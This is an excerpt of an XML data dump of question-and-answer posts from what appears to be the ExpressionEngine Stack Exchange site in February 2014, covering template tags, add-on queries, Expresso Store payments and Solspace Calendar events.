  <row Id="19651" PostTypeId="1" AcceptedAnswerId="19777" CreationDate="2014-02-21T14:15:18.733" Score="0" ViewCount="32" Body="&lt;p&gt;I'm about to start building a system where we need to display different content for different users, but all these users will be part of the same usergroup &quot;students&quot;. I'm trying to work out the best way to group the various members of this user group together into &quot;schools&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically I could end up with 150 students with 50 in school1, 50 in school 2 and 50 in school3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My initial thinking was that we'd simply have a custom member field named school and then on each template check this field and display articles from a category with the same name as the custom member field, but i'm not 100% sure this is the most effective/scalable way of doing it so am looking for more ideas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other ideas or add-ons/modules that could help would be much appreciated!&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2014-02-26T09:04:11.637" Title="Options for showing content based on a member field" Tags="|members|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19652" PostTypeId="2" ParentId="19642" CreationDate="2014-02-21T14:36:40.540" Score="3" Body="&lt;p&gt;You can do this with last version (2.8.8) of &lt;a href=&quot;https://github.com/MaxLazar/mx-title-control&quot; rel=&quot;nofollow&quot;&gt;MX Title Control&lt;/a&gt;. You can add &lt;strong&gt;{random_string}&lt;/strong&gt; tag into URL Title Pattern and get 10 characters random string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Hidden Configuration Variables&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['mx_random_string_length'] = &quot;20&quot;;&#xA;$config['mx_random_string_pattern'] = &quot;0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-02-21T14:36:40.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19653" PostTypeId="2" ParentId="19649" CreationDate="2014-02-21T14:47:46.517" Score="1" Body="&lt;p&gt;You need to figure out with field ID # corresponds to your Products &gt; Size Options field. Then look that &lt;code&gt;field_id_XXX&lt;/code&gt; column up in the &lt;code&gt;exp_channel_data&lt;/code&gt; table. The data is store as a base64 encoded and serialized array, which is somewhat of a convention in EE. So, to decode it, you'd do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = ee()-&amp;gt;db-&amp;gt;select('field_id_XXX')-&amp;gt;where('entry_id', 'YYY')-&amp;gt;get('channel_data');&#xA;&#xA;$data = $query-&amp;gt;row('field_id_XXX');&#xA;&#xA;$data = unserialize(base64_decode($data));&#xA;&#xA;foreach ($data as $row)&#xA;{&#xA;    $row['option_value'];//this is what you're looking for&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2014-02-21T14:47:46.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19656" PostTypeId="1" CreationDate="2014-02-21T15:31:53.033" Score="1" ViewCount="55" Body="&lt;p&gt;Since upgrading to CT2.5 I have started to get a Site ID value output with my order items tag in my invoice template. Is there a way to hide this?&lt;/p&gt;&#xA;" OwnerUserId="1038" LastActivityDate="2014-02-28T01:18:50.660" Title="Hide Site ID from invoices" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19657" PostTypeId="1" CreationDate="2014-02-21T15:36:03.310" Score="4" ViewCount="333" Body="&lt;p&gt;We would like clients to be able to pay their invoices online, in a single page checkout. The form would collect the Customer name, email, invoice #, amount, and all the Credit Card info needed to send to authorize.net. In reviewing Expresso Store documentation, it isn't clear to us how to let the customer set the amount.&lt;/p&gt;&#xA;" OwnerUserId="646" LastEditorUserId="646" LastEditDate="2014-02-21T16:33:16.160" LastActivityDate="2014-02-24T21:52:40.587" Title="How to collect payment of invoice with Expresso Store" Tags="|expresso-store|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19658" PostTypeId="2" ParentId="19657" CreationDate="2014-02-21T15:57:06.387" Score="0" Body="&lt;p&gt;I think you would need some AJAX to make it work all on one page, as there are two steps, the add to cart and the checkout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Store doesn't allow users to input prices directly, but other users have reported setting up a product that is $1 and allowing the customer to set the quantity (labeled as amount) to set the number of dollars for the invoice.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-02-21T15:57:06.387" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19659" PostTypeId="1" AcceptedAnswerId="19734" CreationDate="2014-02-21T15:58:53.050" Score="0" ViewCount="117" Body="&lt;p&gt;I have 2 categorys assigned to a channel that I want to use with channel form, however I only want to allow the editor to use 1 of these categories when adding a new element via channel form, I've tried the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;work&quot; return=&quot;work/thanks&quot;}&#xA;     &amp;lt;label for=&quot;categories&quot;&amp;gt;Categories&amp;lt;/label&amp;gt;&#xA;     &amp;lt;select name=&quot;category[]&quot; id=&quot;categories&quot; size=&quot;4&quot; multiple=&quot;multiple&quot;&amp;gt;&#xA;        {categories category_group=&quot;2&quot;}&#xA;           &amp;lt;option value=&quot;{category_id}&quot;{selected}&amp;gt;{category_name}&amp;lt;/option&amp;gt;&#xA;        {/categories}&#xA;     &amp;lt;/select&amp;gt;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this still outputs both categories, I can't seem to find any parameters in the documentation? &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_form/#category-group&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_form/#category-group&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2014-02-25T11:56:45.957" Title="Only outputting one category group with Channel Form" Tags="|channel-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19660" PostTypeId="1" CreationDate="2014-02-21T16:23:20.137" Score="3" ViewCount="110" Body="&lt;p&gt;I have an add-on I've built to provide custom e-commerce reports for a client.  It started as one of those 'we need this very specific thing' builds and of course has grown and grown as more needs arose.  At it's core it is querying the db of an EE &amp;amp; Cartthrob site to pull out information about orders, products, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A problem I've run into as it's grown is that it's not very portable between local/dev/live.  My queries are built using field ID's, which is problematic if I end up with any discrepancies in when fields were created between those environments.  This is a large &amp;amp; very actively developed site, so I'm not often able to wipe out my dev/local DB's with the live DB to correct those problems as they arise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To solve the issue, I'd prefer to use field name's as opposed to field ID's, but I can't work out how to best integrate that into my queries.  I know I can get ahold of field names, but from an add-on development / query standpoint I'm not sure how to best integrate them.  Here's a trimmed down &amp;amp; anonymized version of one of my queries.  I've removed a lot of fields &amp;amp; all field ID's are 00, which isn't the case in the real query obviously.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT FROM_UNIXTIME(pict.entry_date, '%c/%e/%Y %r') as 'Order Date',&#xA;picd.field_id_00 as QTYShipped,&#xA;ocd.field_id_00 as 'email address',&#xA;ocd.field_id_00 as Company,&#xA;ocd.field_id_00 as Ship_Address1,&#xA;ocd.field_id_00 as Ship_Address2,&#xA;ocd.field_id_00 as Ship_City,&#xA;ocd.field_id_00 as Ship_State,&#xA;ocd.field_id_00 as Ship_Zip,&#xA;picd.field_id_00 as 'Order Number',&#xA;oct.status as 'Order Status',&#xA;pcd.field_id_00 as 'Product ID Number',&#xA;pm.member_id as 'Member ID',&#xA;pmg.group_title as 'Member Group'&#xA;from exp_channel_data as picd &#xA;left join exp_channel_titles as pict on picd.entry_id = pict.entry_id &#xA;left join exp_channel_data as ocd on picd.field_id_00 = ocd.entry_id &#xA;left join exp_channel_titles as oct on ocd.entry_id = oct.entry_id&#xA;left join exp_channel_data as pcd on picd.field_id_00 = pcd.entry_id&#xA;left join exp_members as pm on oct.author_id = pm.member_id&#xA;left join exp_member_groups as pmg on pm.group_id = pmg.group_id&#xA;where picd.field_id_00 in (select entry_id from exp_channel_titles where channel_id = '0')&#xA;order by pict.entry_date desc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the question is - in an add-on, what's the best way to feed this query from field names rather than field ID's?&lt;/p&gt;&#xA;" OwnerUserId="364" LastActivityDate="2014-03-11T17:13:48.143" Title="Add-on - Building Queries w/ Field Names vs Field ID's" Tags="|add-on|add-on-development|database|mysql|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19662" PostTypeId="2" ParentId="19605" CreationDate="2014-02-21T16:30:52.017" Score="1" Body="&lt;p&gt;on unix system files is always case sensitive (instead of Window). It possible to make some settings for apache to make filesystem case insensitive but it is not right.&lt;br&gt;&#xA;Same story with db name: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In MySQL, databases correspond to directories within the data&#xA;  directory. Each table within a database corresponds to at least one&#xA;  file within the database directory (and possibly more, depending on&#xA;  the storage engine). Consequently, the case sensitivity of the&#xA;  underlying operating system plays a part in the case sensitivity of&#xA;  database and table names. This means database and table names are not&#xA;  case sensitive in Windows, and case sensitive in most varieties of&#xA;  Unix. One notable exception is Mac OS X, which is Unix-based but uses&#xA;  a default file system type (HFS+) that is not case sensitive.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-02-21T16:30:52.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19663" PostTypeId="2" ParentId="19657" CreationDate="2014-02-21T16:37:53.120" Score="4" Body="&lt;p&gt;There is a setting for this within the Expresso store field settings. When adding your channel field select &quot;Yes&quot; to dynamic pricing.&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2014-02-21T16:37:53.120" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19664" PostTypeId="1" AcceptedAnswerId="19671" CreationDate="2014-02-21T16:52:27.780" Score="0" ViewCount="230" Body="&lt;p&gt;Having a strange issue with grid, categories and relationships. On my site i have a channel with products and services. On the services pages i need my client to be able to select related products to be shown, so i used a grid field with relationships to products.&#xA;The products are categorised, so i want to see the category_url_title in the url. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/17204/output-categories-of-related-entry-within-grid-field&quot;&gt;this thread&lt;/a&gt; and followed that approach however i'm not getting this to output anything. (&lt;a href=&quot;http://www.site.com/producten//systeemoefeningen/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.site.com/producten//systeemoefeningen/&lt;/a&gt; for what should be &lt;a href=&quot;http://www.site.com/producten/oefenen/systeemoefeningen/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.site.com/producten/oefenen/systeemoefeningen/&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{services_grid_products}&#xA;  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;/producten/category/&#xA;      {services_grid_products:product}&#xA;         {services_grid_products:product:categories}&#xA;             {services_grid_products:product:categories:category_url_title}&#xA;         {/services_grid_products:product:categories}&#xA;      {/services_grid_products:product}/{url_title}/&quot; &#xA;      title=&quot;&#xA;      {services_grid_products:product}&#xA;          {services_grid_products:product:title}&#xA;      {/services_grid_products:product}&quot;&amp;gt; &#xA;      {services_grid_products:product}&#xA;          {services_grid_products:product:title}&#xA;      {/services_grid_products:product}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/services_grid_products}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know i can do this with an embed too, however i'm trying to avoid them as much as possible. &lt;/p&gt;&#xA;" OwnerUserId="215" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2014-02-25T19:47:40.847" Title="trying to get category_url_title from a relationship in a grid field" Tags="|categories|relationships|grid|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19665" PostTypeId="2" ParentId="19660" CreationDate="2014-02-21T16:56:21.933" Score="2" Body="&lt;p&gt;You can store your field id's as config vars, so you can change them per environment. Nice thing about this is you don't incur an extra query to get the field names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your main config.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['your_addon_quantity_field'] = 3;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your addon:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$quantity_field = ee()-&amp;gt;config-&amp;gt;item('your_addon_quantity_field');&#xA;$sql .= &quot;picd.field_id_{$quantity_field} as QTYShipped,&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2014-02-21T16:56:21.933" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19666" PostTypeId="2" ParentId="19660" CreationDate="2014-02-21T16:58:57.460" Score="4" Body="&lt;p&gt;You can use the channel fields api to get the field names:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;load-&amp;gt;library('api');&#xA;ee()-&amp;gt;api-&amp;gt;instantiate('channel_fields');&#xA;&#xA;$fields = ee()-&amp;gt;api_channel_fields-&amp;gt;fetch_custom_channel_fields();&#xA;&#xA;//change 1 to your site_id if using MSM&#xA;$quantity_field_id = $fields['custom_channel_fields'][1]['your_quantity_field_name'];&#xA;&#xA;$sql .= &quot;picd.field_id_{$quantity_field_id} as QTYShipped,&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2014-02-21T16:58:57.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19667" PostTypeId="2" ParentId="19626" CreationDate="2014-02-21T17:12:26.910" Score="0" Body="&lt;p&gt;The solution to this is issue to add &lt;code&gt;status=&quot;not closed&quot;&lt;/code&gt; to the entries tag. The template parser is the same for the preview as the one used when sending emails.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2014-02-21T17:12:26.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19668" PostTypeId="2" ParentId="18558" CreationDate="2014-02-21T18:14:01.107" Score="0" Body="&lt;p&gt;Just following up to provide an answer for this question if anyone else runs into this issue. This bug should be fixed in Postmaster v1.4.5. Download the latest copy for a fix.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2014-02-21T18:14:01.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19669" PostTypeId="2" ParentId="19585" CreationDate="2014-02-21T19:10:53.897" Score="1" Body="&lt;p&gt;A complete answer to your question requires a bit more context than you have provided, but this is a common question, so I will make some assumptions. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is a page using Calendar:Events tag to display complete/more info about an event, and you are linking to this page from a page such as a full month view calendar, we'll often use this workaround:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the full month view template (using Calendar:Cal), we'll adjust the link for the title of the event to have this extra code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if event_recurs}{event_start_date format=&quot;%Y/%m/%d&quot;}/{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, the complete code for the title link would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{path='calendar/events'}/{event_url_title}/{if event_recurs}{event_start_date format=&quot;%Y/%m/%d&quot;}/{/if}&quot;&amp;gt;{event_title}&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What that will do is add some fake date values into the URI, which can be retrieved later ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, in your Event detail page (using Calendar:Events tag), you would have something like this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:events&#xA;   event_name=&quot;{segment_3}&quot; &amp;lt;!-- grabs URL title from 3rd segment, where we sent it --&amp;gt;&#xA;   event_limit=&quot;1&quot;&#xA;   dynamic=&quot;no&quot;&#xA;}&#xA;   &amp;lt;h2&amp;gt;{event_title}&amp;lt;/h3&amp;gt;&#xA;   &amp;lt;p&amp;gt;&#xA;      {if event_recurs}&#xA;         {exp:calendar:date&#xA;            base_date=&quot;{segment_4}-{segment_5}-{segment_6}&quot;&#xA;            output_date=&quot;today&quot;&#xA;         }&#xA;            {date format=&quot;%l, %F %j&quot;} @ {event_start_date format=&quot;%g:%i%a&quot;}&#xA;         {/exp:calendar:date}&#xA;      {if:else}&#xA;         {event_start_date format=&quot;%l, %F %j @ %g:%i%a&quot;}&#xA;      {/if}&#xA;   &amp;lt;/p&amp;gt;&#xA;{/exp:calendar:events}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll see that we're using the date values from the URI that we passed on from the previous template, and now feeding them into the Calendar:Date tag, and telling it to parse those segments into a formatted date. We then use the {event_start_date ... } variable, but only for the time parsing.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-02-21T19:10:53.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19670" PostTypeId="2" ParentId="19431" CreationDate="2014-02-21T21:24:42.350" Score="2" Body="&lt;p&gt;Turns out that there was an html file in the root of the site that had a redirect in the header to site/index.php. That redirect was causing issues when Paypal was communicating with the store that payment had been received. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to Expresso Store support for tracking down the issue!&lt;/p&gt;&#xA;" OwnerUserId="2749" LastActivityDate="2014-02-21T21:24:42.350" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19671" PostTypeId="2" ParentId="19664" CreationDate="2014-02-21T21:54:42.123" Score="1" Body="&lt;p&gt;edited version (and just saw that Kevin Cupp beat me to it!):&#xA;Just tested this and only needed to use {category_url_title}. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{services_grid_products:product:categories}&#xA;    {category_url_title}&#xA;{/services_grid_products:product:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastEditorUserId="1326" LastEditDate="2014-02-21T23:03:41.483" LastActivityDate="2014-02-21T23:03:41.483" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19672" PostTypeId="1" AcceptedAnswerId="19673" CreationDate="2014-02-21T22:09:08.877" Score="1" ViewCount="40" Body="&lt;p&gt;Exp:resso Store demo code has that line for a product part (and URL to it) in the checkout process:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h4&amp;gt;&amp;lt;a href=&quot;{path='store_example/product'}/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My products are categorized so it requires to obtain primary category and secondary category for a proper product URL. Is there any way to accomplish that? Maybe GWcode Categories can do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-02-21T22:45:16.563" Title="Exp-resso store, checkout process and URLs to products in the cart" Tags="|expresso-store|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19673" PostTypeId="2" ParentId="19672" CreationDate="2014-02-21T22:45:16.563" Score="1" Body="&lt;p&gt;You will probably need to pass the &lt;code&gt;{entry_id}&lt;/code&gt; variable to another tag in order to grab other fields. I had to do this on a site I'm building in order to grab product images for the cart. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if you can feed the entry_id to GWcode Categories, it should work great.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-02-21T22:45:16.563" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19674" PostTypeId="1" CreationDate="2014-02-22T01:11:47.573" Score="2" ViewCount="387" Body="&lt;p&gt;I want to show future events based on today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently have 3 dummy events in my system, 1 past, 1 today, 1 future. When I run the code below no events show up:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:events event_limit=&quot;3&quot; status=&quot;open&quot; date_range_start=&quot;today&quot; orderby=&quot;event_start_date&quot; sort=&quot;asc&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I take out the parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;date_range_start=&quot;today&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then all appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running the same query for past events using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;date_range_end=&quot;yesterday&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is working fine.&lt;/p&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2020-05-17T01:01:05.090" Title="Solspace Calendar: Showing future events - date_range_start parameter not working" Tags="|solspace-calendar|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19676" PostTypeId="2" ParentId="17936" CreationDate="2014-02-22T14:18:13.420" Score="0" Body="&lt;p&gt;You could use the &lt;a href=&quot;https://github.com/vector/VMG-Nested&quot; rel=&quot;nofollow&quot;&gt;VMG Nested&lt;/a&gt; add-on to prefix the variables on the category_archive tag. It's designed for nesting multiple instances of the same tag, but will also work for helping to namespace different tags with overlapping variables.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-02-22T14:18:13.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19677" PostTypeId="2" ParentId="19674" CreationDate="2014-02-22T14:25:08.950" Score="0" Body="&lt;p&gt;The tag you're very likely looking for is &lt;strong&gt;&lt;code&gt;{exp:calendar:cal}&lt;/code&gt;&lt;/strong&gt;, not &lt;code&gt;{exp:calendar:events}&lt;/code&gt;. This is almost always the tag to use when displaying &lt;strong&gt;upcoming/future events&lt;/strong&gt; (or past events, or events within a specific timeframe) is the goal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;code&gt;{exp:calendar:cal}&lt;/code&gt;&lt;/strong&gt; is the only tag that creates a truly chronological list of events and respects the time/date window set in &lt;code&gt;date_range_start=&quot;&quot;&lt;/code&gt; and &lt;code&gt;date_range_end=&quot;&quot;&lt;/code&gt; (i.e. it looks for events/occurrences within the set timeframe).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;strong&gt;Note&lt;/strong&gt;: add &lt;code&gt;pad_short_weeks=&quot;n&quot;&lt;/code&gt; as well to &lt;code&gt;{exp:calendar:cal}&lt;/code&gt; to avoid it from adding extra days in your timeframe to complete a calendar &quot;week row&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following documentation page, which explains in more details why/when each of the main Calendar tags are used, is a strongly recommended read: &lt;a href=&quot;http://www.solspace.com/docs/calendar/getting_started/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/calendar/getting_started/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-02-22T14:25:08.950" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19678" PostTypeId="2" ParentId="19287" CreationDate="2014-02-22T17:55:05.100" Score="2" Body="&lt;p&gt;I had the same issue and created an accessory to rewrite the title tag using JavaScript. its not the best solution but it did the job. Maybe you could build on it to make it better. Follow the instructions &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/accessories.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; for creating an accessory and add this code as the set_sections.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function set_sections()&#xA;{&#xA;    $meta_title = implode(&quot; | &quot;, array_filter(array($this-&amp;gt;EE-&amp;gt;view-&amp;gt;cp_page_title, $this-&amp;gt;EE-&amp;gt;config-&amp;gt;config['site_label'])));&#xA;    $js = &quot;$('title').html('{$meta_title}');&quot;;&#xA;    $this-&amp;gt;EE-&amp;gt;cp-&amp;gt;add_to_foot('&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;'.$js.'&amp;lt;/script&amp;gt;');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2781" LastActivityDate="2014-02-22T17:55:05.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19680" PostTypeId="1" CreationDate="2014-02-22T20:23:51.727" Score="0" ViewCount="40" Body="&lt;p&gt;Is it possible to use some of the modules from the regular version of EE in the EE Core? Also, outside of the multi-site manager for EE, is there any other way to run multiple sites of of the regular version of EE?&lt;/p&gt;&#xA;" OwnerUserId="2783" LastActivityDate="2014-02-22T21:07:37.923" Title="Using Expression Engine modules in Core + multisite" Tags="|core|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19681" PostTypeId="2" ParentId="19680" CreationDate="2014-02-22T21:07:37.923" Score="2" Body="&lt;p&gt;You have two questions here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Is it possible to use some of the modules from the regular version of EE in the EE Core?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No. That would be a violation of the license agreement. You can use any 3rd party add-ons you like, as long as they work with Core, which means they cannot rely on any of the modules not included in Core. However, copying the modules over from the commercial version to a Core installation would be equivalent to stealing the software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Outside of the multi-site manager for EE, is there any other way to run multiple sites of of the regular version of EE?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are ways to do it, involving modifying your .htaccess, but again it violates the license agreement, as the license grants use for a single site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have special case scenarios, you may want to run them by EllisLab via email, as they are the experts and final say on their license agreement.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-02-22T21:07:37.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19682" PostTypeId="1" AcceptedAnswerId="19685" CreationDate="2014-02-22T22:16:10.107" Score="0" ViewCount="358" Body="&lt;p&gt;I'm using the query module to display a category, but how to use query to display the child categories??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stéphane&lt;/p&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2014-02-23T12:15:31.130" Title="How to display sub categories using the query module" Tags="|categories|query|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19683" PostTypeId="1" AcceptedAnswerId="19690" CreationDate="2014-02-22T22:24:59.503" Score="0" ViewCount="113" Body="&lt;p&gt;When I use Ce Image inside the Gwcode categories tags, it's not parsed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_categories group_id=&quot;5&quot; cat_id=&quot;{segment_3_category_id}&quot; depth=&quot;1|2|3&quot; custom_fields=&quot;yes&quot; style=&quot;linear&quot; orderby=&quot;cat_name&quot; }&#xA;&#xA;    {exp:ce_img:pair src=&quot;{cat_image}&quot; width=&quot;300&quot;}&amp;lt;img src=&quot;{made}&quot;/&amp;gt;{/exp:ce_img:pair}&#xA;&#xA;{/exp:gwcode_categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is a parser order priority problem??&lt;/p&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2014-02-23T20:21:41.083" Title="When I use CE Image inside Gwcode categories, it's not parsed" Tags="|ce-image|gwcode-categories|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="19684" PostTypeId="1" AcceptedAnswerId="19686" CreationDate="2014-02-22T22:55:47.057" Score="1" ViewCount="453" Body="&lt;p&gt;I have another interesting challenge to solve with Solspace Calendar and I've not been able to find a solution so far, which is not to say there isn't an obvious solution I've missed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a custom field on events (event_featured) which allows an admin to flag individual events as 'featured' and I want to show a list of these featured events on the homepage. However, if an event is recurring, I &lt;strong&gt;only want to show the next occurrence&lt;/strong&gt; of that event and not &lt;em&gt;all&lt;/em&gt; occurrences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the homepage, I'm pulling out a list of the featured events with this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal date_range_start=&quot;today&quot; date_range_end=&quot;2 years&quot; enable=&quot;custom_fields&quot;}&#xA;  {if event_featured == &quot;y&quot;}&#xA;    &amp;lt;li&amp;gt;&#xA;      &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;{path='events/event'}/{if edited_occurrence}{event_parent_id}{if:else}{event_id}{/if}/{event_start_date format=&quot;%Y/%m/%d&quot;}&quot;&amp;gt;{event_title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;      {if event_all_day}&amp;lt;time 